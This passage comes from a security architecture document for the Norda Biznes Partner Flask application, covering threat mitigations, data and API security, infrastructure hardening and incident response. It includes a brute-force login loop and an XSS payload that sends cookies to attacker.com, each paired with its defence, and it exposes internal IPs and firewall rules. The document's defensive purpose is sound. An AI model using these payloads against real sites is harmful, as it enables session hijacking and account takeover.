pass
Status: ✅ Mitigated (Flask-WTF CSRF tokens)
5.3.4 Brute Force Attack
Attack:
# Attacker script: Try 10,000 passwords for admin@nordabiznes.pl
for password in password_list:
response = requests.post('https://nordabiznes.pl/login', data={
'email': 'admin@nordabiznes.pl',
'password': password
})
Defense:
# Rate limiting: 5 login attempts per hour
@app.route('/login', methods=['POST'])
@limiter.limit("5 per hour")
def login():
# Login logic
pass
Status: ✅ Mitigated (rate limiting)
Additional Defenses (Future):
- ❌ Account lockout after N failed attempts
- ❌ CAPTCHA on login form
- ❌ 2FA for admin accounts
5.3.5 Session Hijacking
Attack:
// Attacker's XSS payload (if XSS exists)
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
Defense:
# Session cookie security flags
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access to cookies
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
Status: ✅ Mitigated (secure cookies + HTTPS)
6. Data Security
6.1 Data Classification
| Data Category | Sensitivity | Storage | Protection |
|---|---|---|---|
| Public Company Data | Public | PostgreSQL | None (publicly accessible) |
| User Accounts | Confidential | PostgreSQL | Password hashing, HTTPS |
| Password Hashes | Secret | PostgreSQL | PBKDF2:SHA256 (salted) |
| Session Cookies | Secret | Browser + Server | Encrypted, HttpOnly, Secure |
| API Keys | Secret | .env files | File permissions (600), HTTPS |
| Email Addresses | PII | PostgreSQL | HTTPS, access control |
| Chat Messages | Confidential | PostgreSQL | HTTPS, access control |
| Forum Posts | Public | PostgreSQL | Moderation |
| Private Messages | Confidential | PostgreSQL | HTTPS, sender/receiver validation |
| Audit Reports | Public | PostgreSQL | None (publicly accessible) |
| Admin Logs | Confidential | PostgreSQL | Admin-only access |
6.2 Data Encryption
Encryption in Transit:
- ✅ HTTPS/TLS 1.2+ for all external communication
- ✅ Let's Encrypt certificates (auto-renewal)
- ✅ HSTS enforcement (max-age=31536000)
- ❌ Internal communication (NPM → Flask) is HTTP (same network)
Encryption at Rest:
- ❌ PostgreSQL database is NOT encrypted at rest
- ❌ .env files are NOT encrypted (plaintext secrets)
- ❌ Session cookies are encrypted (Flask built-in)
Future Improvements:
- ⚠️ Enable PostgreSQL transparent data encryption (TDE)
- ⚠️ Use secrets vault (HashiCorp Vault, AWS Secrets Manager)
- ⚠️ Encrypt backups before storing
6.3 Data Retention & Deletion
Retention Policies:
- User accounts: Indefinite (until user requests deletion)
- Chat messages: Indefinite
- Forum posts: Indefinite (with soft delete)
- Private messages: Indefinite (until sender/receiver deletes)
- Audit reports: 90 days (automatic cleanup via cron job - planned)
- Session cookies: 7 days (automatic expiry)
- Verification tokens: 24 hours (email verification)
- Password reset tokens: 1 hour
Data Deletion:
- ❌ No GDPR "right to be forgotten" implementation
- ❌ No cascade deletion policy (orphaned records)
- ❌ No audit log retention policy
Future Improvements:
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add cascade deletion for user accounts
- ⚠️ Create audit log retention policy (keep 1 year, then archive)
6.4 Sensitive Data Handling
PII (Personally Identifiable Information):
- Email addresses (users table)
- Names (users table)
- Phone numbers (users table, company_contacts table)
- Company NIP (companies table)
Handling:
- ✅ HTTPS for all PII transmission
- ✅ Access control (authenticated users only)
- ❌ No PII encryption at rest
- ❌ No PII masking in logs
Logging:
- ✅ Passwords are NEVER logged
- ✅ API keys are NEVER logged
- ⚠️ Email addresses may appear in logs (sanitization needed)
7. API Security
7.1 External API Integrations
API Security Matrix:
| API | Authentication | Rate Limit | Cost | Security Controls |
|---|---|---|---|---|
| Google Gemini AI | API Key | 1,500 req/day (free) | $0 (free tier) | HTTPS, key in .env, cost tracking |
| Google PageSpeed Insights | API Key | 25,000 req/day (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| Google Places API | API Key | Varies | Pay-per-use | HTTPS, key in .env, cost tracking |
| Microsoft Graph API | OAuth 2.0 | Varies | $0 (Exchange Online included) | HTTPS, client secret in .env, token refresh |
| Brave Search API | API Key | 2,000 req/month (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| KRS Open API | None (public) | None | $0 | HTTPS only |
7.2 API Key Management
Storage:
- Location:
.envfile - Permissions: 600 (owner read/write only)
- Owner: www-data (Flask app user)
Best Practices:
- ✅ API keys in .env (not hardcoded)
- ✅ .env in .gitignore (never committed)
- ✅ HTTPS for all API calls
- ❌ No API key rotation policy
- ❌ No secrets vault integration
API Key Rotation:
- Manual process (no automation)
- No versioning (immediate switch)
- Downtime risk (if key is rotated without updating .env)
Future Improvements:
- ⚠️ Implement secrets vault (HashiCorp Vault)
- ⚠️ Add API key rotation workflow
- ⚠️ Use short-lived API tokens (where supported)
7.3 API Rate Limiting & Cost Control
Client-Side Rate Limiting:
# Example: Gemini API cost tracking
@limiter.limit("30 per minute")
@app.route('/api/chat/<id>/message', methods=['POST'])
@login_required
def send_chat_message(id):
# ... generate AI response ...
# Track API cost in database
cost_log = AIAPICostLog(
api_name='gemini',
model_name='gemini-3-flash-preview',
input_tokens=len(prompt),
output_tokens=len(response),
cost_usd=0.0, # Free tier
endpoint='/api/chat'
)
db.add(cost_log)
db.commit()
Rate Limiting Strategy:
- Client-side: Flask-Limiter (prevent abuse)
- Server-side: API provider rate limits (enforced by provider)
Cost Monitoring:
- ✅ Database logging (ai_api_costs table)
- ✅ Admin dashboard (
/admin/chat-analytics) - ❌ No alerting on cost overruns
- ❌ No automatic shutdown on quota exceeded
Free Tier Monitoring:
- Gemini: 1,500 requests/day (current usage: ~50/day)
- PageSpeed: 25,000 requests/day (current usage: ~10/day)
- Brave: 2,000 requests/month (current usage: ~50/month)
7.4 OAuth 2.0 Security (Microsoft Graph)
Authentication Flow:
- Application obtains client credentials (CLIENT_ID, CLIENT_SECRET)
- Application requests access token from Microsoft
- Access token used to send emails via Graph API
- Token expires after 1 hour (automatic refresh)
Security Controls:
- ✅ Client secret stored in .env
- ✅ HTTPS for all OAuth requests
- ✅ Access token stored in memory (not database)
- ✅ Token expiry enforcement (1 hour)
- ❌ No token revocation on logout
Permissions Granted:
Mail.Send(application permission, not delegated)- Allows sending email as noreply@nordabiznes.pl
- No user impersonation (application-only auth)
8. Infrastructure Security
8.1 Network Security
Firewall Configuration (Fortigate):
# Inbound rules
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
deny all from ANY to ANY # Default deny
# Outbound rules
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare)
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound
NAT Rules:
# Public IP → DMZ (reverse proxy)
85.237.177.83:443 → 10.22.68.250:443
85.237.177.83:80 → 10.22.68.250:80
Network Segmentation:
- DMZ Zone: 10.22.68.250 (NPM only)
- Application Zone: 10.22.68.249 (Flask + PostgreSQL)
- Internal Services: 10.22.68.180 (Git server)
Network Security Best Practices:
- ✅ Default deny firewall policy
- ✅ Network segmentation (DMZ vs App zone)
- ✅ NAT for public access (no direct Internet to app server)
- ❌ No IDS/IPS (Intrusion Detection/Prevention System)
- ❌ No network traffic monitoring (future improvement)
8.2 SSH Access Control
SSH Configuration:
- Port: 22 (default)
- Access: Restricted to ADMIN_NET (firewall rule)
- Authentication: SSH key-based (password auth disabled)
- Users: maciejpi (primary admin), www-data (app deployment)
SSH Hardening:
# /etc/ssh/sshd_config
PermitRootLogin no # Disable root login
PasswordAuthentication no # Key-based auth only
PubkeyAuthentication yes # Allow SSH keys
X11Forwarding no # Disable X11
AllowUsers maciejpi www-data # Whitelist users
SSH Key Management:
- ✅ SSH keys stored on admin workstations (not on server)
- ✅ Unique SSH keys per user
- ❌ No SSH key rotation policy
- ❌ No centralized SSH key management
8.3 Server Hardening
Operating System:
- Ubuntu Server 22.04 LTS (long-term support)
- Automatic security updates enabled
Installed Services:
- ✅ Flask/Gunicorn (application server)
- ✅ PostgreSQL (database)
- ✅ Nginx (system default, minimal use)
- ✅ SSH (remote administration)
Unnecessary Services Disabled:
- ✅ No FTP server
- ✅ No Telnet
- ✅ No SNMP (if not needed for monitoring)
File Permissions:
# Application directory
/var/www/nordabiznes/ # Owner: www-data, Mode: 755
/var/www/nordabiznes/.env # Owner: www-data, Mode: 600 (secrets)
/var/www/nordabiznes/app.py # Owner: www-data, Mode: 644
# Database directory
/var/lib/postgresql/ # Owner: postgres, Mode: 700
User Separation:
- www-data: Flask application (limited privileges)
- postgres: PostgreSQL database (limited privileges)
- maciejpi: Admin user (sudo access)
8.4 Database Security
PostgreSQL Configuration:
# /etc/postgresql/14/main/postgresql.conf
listen_addresses = 'localhost' # Bind to 127.0.0.1 only
max_connections = 100 # Limit concurrent connections
ssl = on # Enable SSL (planned)
ssl_cert_file = '/path/to/cert.pem' # SSL certificate (planned)
ssl_key_file = '/path/to/key.pem' # SSL private key (planned)
Authentication (pg_hba.conf):
# TYPE DATABASE USER ADDRESS METHOD
local all postgres peer
local nordabiz nordabiz_app md5
host nordabiz nordabiz_app 127.0.0.1/32 md5
host all all 0.0.0.0/0 reject # Deny remote
Database Users:
- postgres: Superuser (local admin only)
- nordabiz_app: Application user (limited to nordabiz database)
Database Permissions:
-- nordabiz_app user permissions
GRANT CONNECT ON DATABASE nordabiz TO nordabiz_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO nordabiz_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO nordabiz_app;
Database Backups:
- Frequency: Daily (via Proxmox snapshots)
- Retention: 7 days (rolling)
- Encryption: ❌ Not encrypted
- Offsite: ❌ Not implemented
9. Security Monitoring
9.1 Logging
Application Logs:
# app.py logging configuration
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/nordabiznes/app.log'),
logging.StreamHandler()
]
)
Log Levels:
- INFO: Normal operations (user login, API calls)
- WARNING: Unexpected events (rate limit exceeded, API errors)
- ERROR: Application errors (database connection failed, external API timeout)
- CRITICAL: System failures (database crash, service unavailable)
Logged Events:
- ✅ User authentication (login, logout, failed login)
- ✅ Admin actions (user management, audit scans)
- ✅ API calls (Gemini, PageSpeed, etc.)
- ✅ Database errors
- ❌ CSRF token violations (not logged)
- ❌ Rate limit violations (not logged)
Log Storage:
- Location:
/var/log/nordabiznes/app.log - Rotation: Daily (via logrotate)
- Retention: 30 days
- Permissions: 640 (owner read/write, group read)
9.2 Monitoring & Alerting
Health Checks:
@app.route('/health')
def health():
"""Health check endpoint for monitoring"""
try:
# Check database connection
db.execute(text("SELECT 1"))
return jsonify({"status": "healthy", "database": "ok"}), 200
except Exception as e:
return jsonify({"status": "unhealthy", "error": str(e)}), 500
Monitoring Tools:
- ❌ No Zabbix integration (planned)
- ❌ No uptime monitoring (planned)
- ❌ No performance monitoring (APM)
Alerts:
- ❌ No alerting on service downtime
- ❌ No alerting on database errors
- ❌ No alerting on API quota exceeded
- ❌ No alerting on security events (failed logins, CSRF violations)
Future Improvements:
- ⚠️ Implement Zabbix monitoring (service uptime, resource usage)
- ⚠️ Add alerting on critical errors (email or Slack)
- ⚠️ Implement security event logging (SIEM integration)
9.3 Audit Trails
Database Audit Fields:
-- All tables include:
created_at TIMESTAMP DEFAULT NOW() -- Creation timestamp
updated_at TIMESTAMP DEFAULT NOW() -- Last update timestamp
-- User actions include:
created_by INTEGER REFERENCES users(id) -- Creator (forum posts, messages)
moderated_by INTEGER -- Moderator (admin actions)
moderated_at TIMESTAMP -- Moderation timestamp
Auditable Events:
- ✅ User registration (created_at)
- ✅ User login (last_login)
- ✅ Forum post creation (created_at, author_id)
- ✅ Admin actions (moderated_by, moderated_at)
- ✅ Audit scans (audited_at)
- ❌ Password changes (not logged)
- ❌ Permission changes (not logged)
- ❌ Failed login attempts (not logged)
Audit Log Retention:
- ❌ No dedicated audit log table
- ❌ No audit log retention policy
- ❌ No audit log archival
10. Incident Response
10.1 Incident Response Plan
Incident Categories:
- Security Breach (unauthorized access, data leak)
- Service Outage (application down, database crash)
- Performance Degradation (slow response, high CPU)
- API Abuse (quota exceeded, cost overrun)
Response Workflow:
graph LR
Detect["🔍 Detect<br/>Incident"] --> Assess["📊 Assess<br/>Severity"]
Assess --> Contain["🛡️ Contain<br/>Threat"]
Contain --> Investigate["🔎 Investigate<br/>Root Cause"]
Investigate --> Remediate["🔧 Remediate<br/>Issue"]
Remediate --> Document["📝 Document<br/>Incident"]
Document --> Review["🔄 Post-Mortem<br/>Review"]
style Detect fill:#f59e0b,color:#fff
style Contain fill:#ef4444,color:#fff
style Remediate fill:#10b981,color:#fff
10.2 Incident Response Procedures
10.2.1 Security Breach
Detection:
- Unusual database activity
- Failed login attempts spike
- Unauthorized admin actions
- API key usage anomalies
Containment:
# 1. Disable affected user accounts
sudo -u postgres psql nordabiz -c "UPDATE users SET is_active = FALSE WHERE id = <user_id>;"
# 2. Rotate API keys immediately
# Edit .env file with new keys
vim /var/www/nordabiznes/.env
# 3. Restart application
sudo systemctl restart nordabiznes
# 4. Review access logs
sudo journalctl -u nordabiznes --since "1 hour ago" | grep -i "failed\|error\|unauthorized"
Investigation:
- Check application logs (
/var/log/nordabiznes/app.log) - Check database audit trails (
SELECT * FROM users WHERE updated_at > NOW() - INTERVAL '1 hour') - Check NPM access logs (NPM admin UI)
Remediation:
- Reset passwords for compromised accounts
- Review and tighten access controls
- Patch vulnerabilities (if found)
- Notify affected users (if PII exposed)
10.2.2 Service Outage
Detection:
- Health check endpoint returns 500
- Users report "site is down"
- NPM shows "502 Bad Gateway"
Diagnosis:
# 1. Check application status
sudo systemctl status nordabiznes
# 2. Check database status
sudo systemctl status postgresql
# 3. Check NPM status (on 10.22.68.250)
ssh maciejpi@10.22.68.250
docker ps | grep npm
# 4. Check network connectivity
ping 10.22.68.249
curl http://10.22.68.249:5000/health
Recovery:
# 1. Restart Flask/Gunicorn
sudo systemctl restart nordabiznes
# 2. Restart PostgreSQL (if needed)
sudo systemctl restart postgresql
# 3. Restart NPM (if needed, on 10.22.68.250)
docker restart <npm-container-id>
Post-Recovery:
- Document incident in
docs/INCIDENT_REPORT_YYYYMMDD.md - Review logs for root cause
- Implement preventive measures
10.3 Incident History
Past Incidents:
- 2026-01-02: ERR_TOO_MANY_REDIRECTS
- Cause: NPM proxy forwarding to port 80 instead of 5000
- Impact: Site inaccessible for 2 hours
- Resolution: Changed NPM forward port to 5000
- Documentation: INCIDENT_REPORT_20260102.md
Lessons Learned:
- Document critical configurations (port mappings) in architecture docs
- Add verification steps after NPM configuration changes
- Implement monitoring to detect redirect loops
11. Compliance & Best Practices
11.1 Security Standards Compliance
OWASP Top 10 Compliance:
| OWASP Risk | Status | Mitigation |
|---|---|---|
| A01: Broken Access Control | ✅ Mitigated | Flask-Login, admin flag validation |
| A02: Cryptographic Failures | ⚠️ Partial | HTTPS (transit), no encryption at rest |
| A03: Injection | ✅ Mitigated | SQLAlchemy ORM, input sanitization |
| A04: Insecure Design | ⚠️ Partial | Security controls in place, no formal threat model |
| A05: Security Misconfiguration | ⚠️ Partial | Secure defaults, but no CSP |
| A06: Vulnerable Components | ⚠️ Partial | Dependencies updated, no automated scanning |
| A07: Identification & Auth Failures | ✅ Mitigated | Email verification, password complexity, rate limiting |
| A08: Software & Data Integrity | ⚠️ Partial | No code signing, no SBOM |
| A09: Security Logging & Monitoring | ❌ Not Compliant | Basic logging, no SIEM |
| A10: Server-Side Request Forgery | ✅ Mitigated | No user-controlled URLs in backend requests |
11.2 GDPR Compliance
Personal Data Processing:
- ✅ Privacy policy (should be published)
- ✅ User consent (registration form)
- ❌ Right to access (not implemented)
- ❌ Right to deletion (not implemented)
- ❌ Right to portability (not implemented)
- ❌ Breach notification (no procedure)
Data Protection:
- ✅ HTTPS encryption (in transit)
- ❌ Database encryption (at rest)
- ❌ Data minimization (collect only necessary data)
Future Improvements:
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add privacy policy page
- ⚠️ Add data export functionality
- ⚠️ Implement breach notification procedure
11.3 Security Best Practices Checklist
Application Security:
- ✅ Input validation and sanitization
- ✅ SQL injection prevention (ORM)
- ✅ XSS prevention (auto-escaping)
- ✅ CSRF protection
- ✅ Password hashing (PBKDF2:SHA256)
- ✅ Secure session management
- ✅ Rate limiting
- ❌ Content Security Policy (CSP)
- ❌ Subresource Integrity (SRI)
Infrastructure Security:
- ✅ Firewall (Fortigate)
- ✅ Network segmentation (DMZ, App, Data zones)
- ✅ SSH key-based authentication
- ✅ Principle of least privilege (www-data user)
- ❌ IDS/IPS
- ❌ DDoS protection (beyond Fortigate)
Operational Security:
- ✅ Secrets in .env (not hardcoded)
- ✅ HTTPS/TLS 1.2+
- ✅ Automatic security updates
- ❌ Secrets vault (HashiCorp Vault)
- ❌ API key rotation
- ❌ Security scanning (SAST/DAST)
Monitoring & Response:
- ✅ Application logging
- ✅ Health check endpoint
- ❌ Security event monitoring
- ❌ Alerting on critical events
- ❌ Incident response plan (documented but not tested)
12. Security Roadmap
12.1 High Priority (Next 3 Months)
-
Implement Content Security Policy (CSP)
- Define CSP policy
- Test with report-only mode
- Deploy to production
- Impact: Prevent XSS attacks
-
Add Account Lockout After Failed Login Attempts
- Implement lockout after 5 failed attempts
- Add admin unlock functionality
- Impact: Prevent brute force attacks
-
Implement Security Event Logging
- Log failed login attempts
- Log CSRF token violations
- Log rate limit violations
- Log admin actions
- Impact: Detect security incidents
-
Set Up Monitoring & Alerting
- Integrate with Zabbix
- Add uptime monitoring
- Add email alerts for downtime
- Impact: Faster incident response
12.2 Medium Priority (3-6 Months)
-
Implement 2FA for Admin Accounts
- Add TOTP (Time-Based One-Time Password)
- Require 2FA for all admin users
- Impact: Prevent admin account compromise
-
Add Audit Log Table
- Create dedicated audit log table
- Log all admin actions
- Implement audit log retention policy
- Impact: Compliance, forensics
-
Implement GDPR Data Deletion Workflow
- Add "Delete My Account" functionality
- Cascade deletion of user data
- Generate data export (JSON)
- Impact: GDPR compliance
-
Enable PostgreSQL Encryption at Rest
- Enable transparent data encryption (TDE)
- Encrypt database backups
- Impact: Data breach protection
12.3 Low Priority (6-12 Months)
-
Migrate to Secrets Vault
- Evaluate HashiCorp Vault vs AWS Secrets Manager
- Migrate API keys to vault
- Implement key rotation
- Impact: Improved secrets management
-
Implement Automated Security Scanning
- Add SAST (Static Application Security Testing)
- Add DAST (Dynamic Application Security Testing)
- Add dependency scanning (Snyk, Dependabot)
- Impact: Proactive vulnerability detection
-
Add Row-Level Security (RLS)
- Implement ownership checks on all resources
- Prevent IDOR vulnerabilities
- Impact: Prevent unauthorized data access
-
Implement SIEM Integration
- Evaluate SIEM solutions (Wazuh, Splunk, ELK)
- Forward logs to SIEM
- Create security dashboards
- Impact: Advanced threat detection
13. Related Documentation
13.1 Architecture Documents
- Authentication Flow - Detailed authentication flow diagrams
- Network Topology - Network zones and firewall rules
- Container Diagram - Application security boundaries
- Critical Configurations - SSL/TLS, secrets management
- HTTP Request Flow - Request path and security layers
13.2 Code Files
Authentication & Authorization:
app.py(lines ~3077-3500) - Authentication routesdatabase.py(lines ~119-158) - User model
Security Utilities:
app.py-sanitize_input(),validate_email(),validate_password()
Email Service:
email_service.py- Microsoft Graph email integration
13.3 External References
14. Maintenance & Updates
14.1 When to Update This Document
Update this document when:
- New security controls are implemented
- Security vulnerabilities are discovered and patched
- Authentication/authorization model changes
- External APIs are added or removed
- Infrastructure security configuration changes
- Compliance requirements change (GDPR, OWASP)
14.2 Security Audit Checklist
Periodic security audit (quarterly):
- Review user permissions and admin accounts
- Check for unused API keys
- Review firewall rules
- Verify SSL/TLS certificates are valid
- Check for outdated dependencies (
pip list --outdated) - Review application logs for anomalies
- Test authentication flows (login, registration, password reset)
- Verify CSRF protection on all forms
- Check rate limiting effectiveness
- Review database backup integrity
- Test incident response procedures
- Update security roadmap
14.3 Security Training
Recommended training for team members:
- OWASP Top 10 awareness
- Secure coding practices
- Incident response procedures
- GDPR compliance basics
- Password policy enforcement
Document End
This document is maintained as part of the Norda Biznes Partner architecture documentation. For questions or updates, contact the development team.